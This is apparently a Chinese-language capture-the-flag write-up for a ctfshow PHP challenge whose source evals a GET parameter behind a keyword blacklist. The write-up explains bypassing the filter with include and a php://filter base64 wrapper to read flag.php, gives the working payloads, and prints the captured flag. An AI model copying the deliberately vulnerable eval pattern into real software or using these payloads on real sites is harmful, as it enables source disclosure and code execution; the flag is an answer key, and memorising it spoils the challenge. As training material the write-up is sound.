image-20250303214443885

0x01

访问靶场,获得源码回显

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

0x02

代码审计后处理方法同30

区别为由于过滤()和空格,需要调用不使用()的函数,例如:print、echo、die;、include “”、require “”、include_once “”、require_once “” 等。

这里采用include,由于include ""为包含而非执行,故a参数使用sys等传入C中再执行过滤检查依然无法通过,因此a的参数需要使用伪协议进行编码后输出。php伪协议细节相关

综上,构造payload如下

1
?c=include"$_GET[a]"?>&a=php://filter/read=convert.base64-encode/resource=flag.php

1
2
?c=include"$_POST[a]"?>&a=本地构造的文件路径
#本地文件以post附件的形式提交

提交payload,由于read=convert.base64-encode以base64编码形式输出php流,base64解码后获得flag$flag="ctfshow(da2e0b07-ccca-4409-9552-9aa3e55014ee)";

image-20250304141622560

image-20250310183927279